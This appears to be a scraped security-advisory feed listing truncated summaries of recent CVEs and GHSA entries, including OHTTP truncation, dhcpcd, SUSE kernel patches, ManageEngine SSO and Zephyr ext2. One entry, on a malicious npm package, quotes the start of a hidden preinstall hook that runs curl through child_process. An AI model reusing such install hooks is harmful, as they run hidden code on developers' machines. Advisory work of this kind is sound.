GHSA-R6FJ-869H-4F6Q OHttpVersionChunkDraft: Missing Final-Chunk Enforcement Leads to Undetected Stream Truncation

The codec-ohttp implementation of draft-ietf-ohai-chunked-ohttp does not verify that a cryptographically-signed final chunk was received before the outer HTTP body terminates. An on-path adversary the OHTTP relay itself, or any MITM on the relay↔gateway or relay↔client transport can forward a...

EUVD-2026-38496

dhcpcd through 10.3.2, fixed in commit 708b4a5, contains a memory leak vulnerability in the IPv6 Router Advertisement route information handling that allows an unauthenticated same-link attacker to cause denial of service by sending crafted Router Advertisements. Attackers can repeatedly send...

Security update for the Linux Kernel (Live Patch 14 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.52 fixes various security issues The following security issues were fixed: CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race...

Malicious code in ttal2ttml (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4 package.json declares a preinstall lifecycle script that runs node -e "tryrequire'childprocess'.execSync'curl -sf...

SUSE-SU-2026:2588-1 Security update for the Linux Kernel (Live Patch 18 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.81 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay...

CVE-2026-11374

CVE-2026-11374 affects ManageEngine ADSelfService Plus, RecoveryManager Plus, M365 Manager Plus, and ADAudit Plus. The issue allows unauthenticated users to predict SSO tickets used to authenticate sessions, enabling account takeover. The CVSS v3.1 metrics in the provided data indicate a CRITICAL...

GHSA-8678-W3JW-XFC2 vulnerabilities

Vulnerabilities for packages: ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, gitlab-rails-ce-fips, ruby3.2-rails, gitlab-rails-ce, ruby3.4-rails, kube-logging-operator, logstash-fips, ruby3.3-rails, pact-broker-docker, logstash, pact-broker-docker-fips...

GHSA-H8W8-99G7-QMVJ vulnerabilities

Vulnerabilities for packages: ruby3.2-fluentd-kubernetes-daemonset, ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, cinc-auditor, kube-fluentd-operator, ruby3.2-rails, ruby4.0-fluentd-kubernetes-daemonset, ruby3.4-rails, kube-logging-operator, logstash-fips,...

CVE-2026-54904 vulnerabilities

Vulnerabilities for packages: ruby3.2-fluentd-kubernetes-daemonset, ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, cinc-auditor, kube-fluentd-operator, ruby3.2-rails, ruby4.0-fluentd-kubernetes-daemonset, ruby3.4-rails, kube-logging-operator, logstash-fips,...

GHSA-5V8H-3H3Q-446P vulnerabilities

Vulnerabilities for packages: ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, gitlab-rails-ce-fips, ruby3.2-rails, gitlab-rails-ce, ruby3.4-rails, kube-logging-operator, logstash-fips, ruby3.3-rails, pact-broker-docker, logstash, pact-broker-docker-fips...

GHSA-WJV4-X9W8-WM3H vulnerabilities

Vulnerabilities for packages: ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, gitlab-rails-ce-fips, ruby3.2-rails, gitlab-rails-ce, ruby3.4-rails, kube-logging-operator, logstash-fips, ruby3.3-rails, pact-broker-docker, logstash, pact-broker-docker-fips...

CVE-2026-54905 vulnerabilities

Vulnerabilities for packages: ruby3.2-fluentd-kubernetes-daemonset, ruby4.0-rails, commercial-gitlab-rails-ee-fips, commercial-gitlab-rails-ee, cinc-auditor, kube-fluentd-operator, ruby3.2-rails, ruby4.0-fluentd-kubernetes-daemonset, ruby3.4-rails, kube-logging-operator, logstash-fips,...

CVE-2026-12796

A flaw was found in BerriAI litellm. A remote attacker could exploit a vulnerability in the getredirectresponsefromopenid function within the SSO Authentication Flow component. This manipulation leads to session expiration, potentially causing a denial of service for authenticated users. Mitigati...

sharepoint-sqli-research

SharePoint SQL Injection Research Analysis of SQL injection v...

CVE-2026-10645

The Zephyr ext2 filesystem driver subsys/fs/ext2 trusted the on-disk directory entry fields dereclen and denamelen when walking a directory block. ext2fetchdirentry guarded only with denamelen EXT2MAXFILENAME, but denamelen is a uint8t and EXT2MAXFILENAME is 255, so the check is always false; the...

PT-2026-53090

Name of the Vulnerable Software and Affected Versions Nmap versions 7.0.0 through 7.99 Description An issue exists in the ipv6 get data primitive function libnetutil/netutil.cc where the IPv6 extension-header walk is not kept within the captured packet. This causes the pointer to advance past the...

Google Chrome iOS Unauthenticated Access

The vulnerability of Google Chrome browser on iOS operating systems is related to a lack of mechanisms for verifying the source of the request. Exploiting this vulnerability can allow an attacker, working remotely, to gain unauthorized access to protected information...

CVE-2026-10645

The Zephyr ext2 filesystem driver subsys/fs/ext2 trusted the on-disk directory entry fields dereclen and denamelen when walking a directory block. ext2fetchdirentry guarded only with denamelen EXT2MAXFILENAME, but denamelen is a uint8t and EXT2MAXFILENAME is 255, so the check is always false; the...

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Overview Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' via the queryId parameter in the CREST REST API endpoints. An attacker can manipulate LDAP queries by injecting arbitrary LDAP...

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Overview Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' via the queryId parameter in the CREST REST API endpoints. An attacker can manipulate LDAP queries by injecting arbitrary LDAP...